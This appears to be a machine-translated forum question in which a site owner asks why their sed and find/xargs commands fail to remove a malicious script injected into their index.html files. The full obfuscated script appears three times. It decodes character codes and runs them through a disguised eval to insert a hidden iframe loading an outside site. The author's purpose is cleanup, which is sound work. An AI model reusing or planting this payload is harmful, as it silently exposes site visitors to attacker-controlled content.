首先,我需要给一个免责声明:转义字符在外壳
不要运行此JAVASCRIPT
这是一个已经被无良的人在我的一些站点注入代码。我需要找到并替换它(无论是空间还是空间)。它专门针对index.html和index.htm文件,它们全部使用完全相同的代码。
JavaScript是以下(再次,不要运行它)。
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;587!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
我需要找到并通过类unix命令行替换这个(我不希望有手动完成对每个文件)。
我曾尝试以下:
sed -i "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g" *.html
摆脱所有的双引号,但仍引发错误:
sed: -e expression #1, char 2075: unknown option to `s'
但是,我知道s选项没有工作,因为我以前使用它来查找和替换一些PHP。
我也曾尝试以下,但都没有效果是(抛出同样的错误):
find . \(-name "*.html" -or -name "*.htm" \) | xargs grep -l "<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>" | xargs sed -i -e "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g"
是什么原因造成这个错误,我怎么能解决这个问题? 我不知道是什么原因导致该错误,所以任何帮助,非常感谢。
备份很不错。 – reinierpost
我同意,并有大部分的备份。但是,众所周知,备份将会因(快速)更改内容而过时,所以如果可能的话,我希望避免从过时的备份中恢复。 – PaulSkinner
版本控制更好。 – tripleee